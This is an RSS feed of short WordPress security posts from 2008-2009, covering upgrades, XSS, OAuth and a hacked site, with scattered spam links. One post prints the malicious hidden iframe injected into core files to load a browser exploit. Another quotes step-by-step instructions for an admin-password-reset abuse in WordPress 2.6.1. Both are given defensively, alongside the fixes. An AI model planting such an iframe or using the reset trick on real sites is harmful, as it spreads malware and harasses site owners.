<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>wordpressguru.eu &#187; security</title>
	<atom:link href="http://wordpressguru.eu/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://wordpressguru.eu</link>
	<description>For all your WordPress needs</description>
	<lastBuildDate>Thu, 09 Feb 2012 12:03:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Do you use PHP $_SERVER variables in forms?</title>
		<link>http://wordpressguru.eu/2009/09/do-you-use-php-_server-variables-in-forms/</link>
		<comments>http://wordpressguru.eu/2009/09/do-you-use-php-_server-variables-in-forms/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 21:57:31 +0000</pubDate>
		<dc:creator>Owen</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[Cross-site scripting]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[plugin]]></category>

		<guid isPermaLink="false">http://wordpressguru.eu/?p=229</guid>
		<description><![CDATA[photo credit: Melissa Maples I came across an interesting point that outlines that dangers of using $_SERVER variables to submit form, a practice that&#8217;s pretty common in WordPress plugins. The problem is that it opens the form up to be &#8230; <a href="http://wordpressguru.eu/2009/09/do-you-use-php-_server-variables-in-forms/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div style="float: right;"><a href="http://www.flickr.com/photos/84392129@N00/3944784420/" title="Bell Configuration" target="_blank"><img src="http://farm3.static.flickr.com/2430/3944784420_c72f315904_m.jpg" alt="Bell Configuration" border="0"></a><br /><small><a href="http://creativecommons.org/licenses/by-nc/2.0/" title="Attribution-NonCommercial License" target="_blank"><img src="http://wordpressguru.eu/wp-content/plugins/photo-dropper/images/cc.png" alt="Creative Commons License" align="absmiddle" border="0" width="16" height="16"></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a href="http://www.flickr.com/photos/84392129@N00/3944784420/" title="Melissa Maples" target="_blank">Melissa Maples</a></small></div>
<p>I came across an interesting point that outlines that dangers of using $_SERVER variables to submit form, a practice that&#8217;s pretty common in WordPress plugins. The problem is that it opens the form up to be used for <a class="zem_slink freebase/guid/9202a8c04000641f8000000000187df3" href="http://en.wikipedia.org/wiki/Cross-site_scripting" title="Cross-site scripting" rel="wikipedia">cross-site scripting</a> (XSS) exploits. The post even has a couple of examples demonstrating how the exploits could be put together; examples that you can use to test your own code. </p>
<p>It&#8217;s important to know about these exploits and how they work. Ignoring them when writing code is a bit like putting <a href="http://www.creativedisplaysnow.com/">cardboard displays</a> in front of a crumbling building. It may look pretty from the outside, but you&#8217;re building something that is putting other people at risk.</p>
<p>So, read the post <a href="http://markjaquith.wordpress.com/2009/09/21/php-server-vars-not-safe-in-forms-or-links/">here</a>.</p>
<div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"><img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=64700a6c-a943-4047-aca6-88789082cc7f"><span class="zem-script more-info pretty-attribution"><script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"></script></span></div>
]]></content:encoded>
			<wfw:commentRss>http://wordpressguru.eu/2009/09/do-you-use-php-_server-variables-in-forms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If your WordPress up to date?</title>
		<link>http://wordpressguru.eu/2009/09/if-your-wordpress-up-to-date/</link>
		<comments>http://wordpressguru.eu/2009/09/if-your-wordpress-up-to-date/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 21:13:04 +0000</pubDate>
		<dc:creator>Owen</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[Upgrade]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://wordpressguru.eu/?p=219</guid>
		<description><![CDATA[Is your WordPress installation up to date? If it&#8217;s not, you&#8217;ll get a constant warning message on every page telling you that you need to upgrade. And upgrading is really easy on the later versions too. There&#8217;s no messing around &#8230; <a href="http://wordpressguru.eu/2009/09/if-your-wordpress-up-to-date/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Is your WordPress installation up to date? If it&#8217;s not, you&#8217;ll get a constant warning message on every page telling you that you need to <a class="zem_slink" href="http://en.wikipedia.org/wiki/Upgrade" title="Upgrade" rel="wikipedia">upgrade</a>. And upgrading is really easy on the later versions too. There&#8217;s no messing around with uploads, WordPress does it all for you. So there&#8217;s really no excuse for not being up to date, it&#8217;s easier than applying the best <a href="http://www.besteyecreams.org/">best eye cream</a> you can buy.</p>
<p>So, what&#8217;s the reason I&#8217;m making this point? Well a few days ago a worm was making the rounds and affecting a number of WordPress installations that hadn&#8217;t been upgraded to the latest version. There&#8217;s a <a href="http://wordpress.org/development/2009/09/keep-wordpress-secure/">great post about security</a> down on the WordPress blog. Have a good read and make sure your blogs are all up to date.</p>
<div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"><img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=fde6d96a-d42b-4c4e-809c-ee9a8a47ad55"><span class="zem-script pretty-attribution"><script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"></script></span></div>
]]></content:encoded>
			<wfw:commentRss>http://wordpressguru.eu/2009/09/if-your-wordpress-up-to-date/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress v2.8.4</title>
		<link>http://wordpressguru.eu/2009/08/wordpress-v2-8-4/</link>
		<comments>http://wordpressguru.eu/2009/08/wordpress-v2-8-4/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 23:13:29 +0000</pubDate>
		<dc:creator>Owen</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[release]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://wordpressguru.eu/?p=212</guid>
		<description><![CDATA[Hot on the heels of the latest version of WordPress comes a new version with another security hole fixed. This wasn&#8217;t a major one, just an annoyance that lets a malicious user keep reseting a particular user&#8217;s password. It wouldn&#8217;t &#8230; <a href="http://wordpressguru.eu/2009/08/wordpress-v2-8-4/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hot on the heels of the latest version of WordPress comes a new version with another <a class="zem_slink" href="http://en.wikipedia.org/wiki/Vulnerability_%28computing%29" title="Vulnerability (computing)" rel="wikipedia">security hole</a> fixed. This wasn&#8217;t a major one, just an annoyance that lets a malicious user keep reseting a particular user&#8217;s password. It wouldn&#8217;t let them get into the blog, but it could be used to keep harassing a user (Now if someone chases you to sell <a href="http://www.wholesaleinsurance.net">low cost term life insurance</a> and they have a WordPress blog, you know how to annoy them).</p>
<p>Anyway, the new release blocks the whole and helps WordPress be a little bit more secure than before, so go ahead and <a href="http://wordpress.org/development/2009/08/2-8-4-security-release/">download it</a>.</p>
<div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"><img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=6ed11902-61f0-4e95-8dc3-bd89c15350d6"><span class="zem-script pretty-attribution"><script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"></script></span></div>
]]></content:encoded>
			<wfw:commentRss>http://wordpressguru.eu/2009/08/wordpress-v2-8-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Authentication in WordPress 2.8</title>
		<link>http://wordpressguru.eu/2009/03/authentication-in-wordpress-28/</link>
		<comments>http://wordpressguru.eu/2009/03/authentication-in-wordpress-28/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 23:53:28 +0000</pubDate>
		<dc:creator>Owen</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[Authentication]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://wordpressguru.eu/?p=142</guid>
		<description><![CDATA[Just came across an interesting post called Authentication in WordPress 2.8. It talks about the implementation of OAuth in WordPress and it&#8217;s impact on users and plugin authors. The great thing about OAuth is that it would let applications and &#8230; <a href="http://wordpressguru.eu/2009/03/authentication-in-wordpress-28/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="zemanta-img" style="margin: 1em; display: block;">
<div>
<dl class="wp-caption alignright" style="width: 212px;">
<dt class="wp-caption-dt"><a href="http://en.wikipedia.org/wiki/Image:Plug-InExample.png"><img title="Example of a Plug-In Framework" src="http://upload.wikimedia.org/wikipedia/en/thumb/4/46/Plug-InExample.png/202px-Plug-InExample.png" alt="Example of a Plug-In Framework" width="202" height="138" /></a></dt>
</dl>
</div>
</div>
<p>Just came across an interesting post called <a href="http://willnorris.com/2009/03/authentication-in-wordpress-28">Authentication in WordPress 2.8</a>. It talks about the implementation of <a class="zem_slink" title="OAuth" rel="wikipedia" href="http://en.wikipedia.org/wiki/OAuth">OAuth</a> in WordPress and it&#8217;s impact on users and plugin authors. The great thing about OAuth is that it would let applications and other websites authenticate against your blog and withdraw information without needing your password. So, if you had a WordPress blog about <a href="http://www.worldtravelcenter.com/eng/information/cm_category_products.cfm?sCategory=student">travel insurance online</a>, you could share the information on it with another website trying to repurpose that information.</p>
<p>Looks like WordPress will have some interesting changes. However, the last part of the post indicates that it won&#8217;t manage to make 2.8, partly because the OAuth libraries are in a state of flux and partly because of the impact it will have on the core.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif" alt="" /><span class="zem-script more-related"><script src="http://static.zemanta.com/readside/loader.js" type="text/javascript"></script></span></div>
]]></content:encoded>
			<wfw:commentRss>http://wordpressguru.eu/2009/03/authentication-in-wordpress-28/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Help, my WordPress blog is giving a virus warning!</title>
		<link>http://wordpressguru.eu/2008/12/help-my-wordpress-blog-is-giving-a-virus-warning/</link>
		<comments>http://wordpressguru.eu/2008/12/help-my-wordpress-blog-is-giving-a-virus-warning/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 14:58:39 +0000</pubDate>
		<dc:creator>Owen</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://wordpressguru.eu/?p=95</guid>
		<description><![CDATA[I got called in to resolve an issue on a WordPress blog today. On the surface it looked as if the administration side of the site had broken, but the real cause turned out to be much darker than that. &#8230; <a href="http://wordpressguru.eu/2008/12/help-my-wordpress-blog-is-giving-a-virus-warning/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I got called in to resolve an issue on a <a href="http://wordpress.org">WordPress</a> blog today. On the surface it looked as if the administration side of the site had broken, but the real cause turned out to be much darker than that.</p>
<p>Looking at the source of the page, I could see that lines were being inserted on all pages that tried to open an iFrame onto a website that used a browser exploit to try and install a virus on your computer. If my browser wasn&#8217;t patched and I wasn&#8217;t using a virus scanner, it could have been a ton of work for me to clean up. The question was, where was that iFrame coming from?</p>
<p>Turns out that a couple (4 actually) of WordPress files had got compromised and had extra lines added to them to open this iFrame. The files were:</p>
<ul>
<li>wp-feed.php</li>
<li>wp-blog-header.php</li>
<li>wp-config.php</li>
<li>wp-load.php</li>
</ul>
<p>This was the extra line:</p>
<p><code>&lt;iframe src="http://google-analitics.ws/out.php?s_id=1" width="0" height="0" frameborder="0"&gt;&lt;/iframe&gt;</code></p>
<p>These files are used in every WordPress page load and were the cause of the extra iFrame. The big question was how the files got compromised in the first place. They were set to the correct permissions, so could only have been changed by someone (or a script) with root access to the server. Unforuntately this is not something you can protect against. Almost make sure your blog is living on a <a href="http://tubu.net">reliable host</a> and remember, &#8220;It&#8217;s wilder than <a href="http://www.i4vegas.com/Tips/">Las Vegas</a> out there&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://wordpressguru.eu/2008/12/help-my-wordpress-blog-is-giving-a-virus-warning/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress 2.6.1 Exploit: Upgrade to avoid hack</title>
		<link>http://wordpressguru.eu/2008/09/wordpress-261-exploit-upgrade-to-avoid-hack/</link>
		<comments>http://wordpressguru.eu/2008/09/wordpress-261-exploit-upgrade-to-avoid-hack/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 14:48:09 +0000</pubDate>
		<dc:creator>Owen</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://wordpressguru.eu/?p=52</guid>
		<description><![CDATA[I was reading around today after cleaning up a website that got hacked when I saw an example of a vulnerability that exists in WordPress 2.6.1 The security hole is this: Imagine a blog site using wordpress 2.6.1 and its &#8230; <a href="http://wordpressguru.eu/2008/09/wordpress-261-exploit-upgrade-to-avoid-hack/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I was reading around today after cleaning up a website that got hacked when I saw an example of a vulnerability that exists in WordPress 2.6.1 The <a href="http://en.wikipedia.org/wiki/Vulnerability_%28computing%29" title="Vulnerability (computing)" rel="wikipedia" class="zem_slink">security hole</a> is this:</p>
<blockquote><p>Imagine a blog site using wordpress 2.6.1 and its web address is www.hackme.com , when you type in your address bar http://www.hackme.com/wp-login.php?action=register the new user registration page comes up !</p>
<p>After that we type our user name as “admin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x” (make sure there are 52 space characters between “x” and “admin”. So after that type your e-mail address to the next textbox and click register. By doing this we are cloning the “admin” user name. Your <a href="http://en.wikipedia.org/wiki/Password" title="Password" rel="wikipedia" class="zem_slink">password</a> will come to your e-mail address shortly. You will not able to login with this information directly, So open the same page again and click “forgot password”, type in your own e-mail address and your will receive the link to reset the admin password. Once you click the reset link, the new password will be generated and will be sent to the real owner of the website.</p></blockquote>
<p>Now, although people can&#8217;t log in with that password, it can prove to be very annoying and can even be used to implement a denial-of-service attack, but continually changing the admin&#8217;s password. How can you address the issue. Either upgrade to <a href="http://wordpressguru.eu/2008/09/wordpress-262-released/">WordPress 2.6.2</a> or disable user registrations.</p>
<div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"><img style="border: medium none ; float: right;" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=bf0b4991-e49a-4953-9c1c-bb873ecf0677"></div>
]]></content:encoded>
			<wfw:commentRss>http://wordpressguru.eu/2008/09/wordpress-261-exploit-upgrade-to-avoid-hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

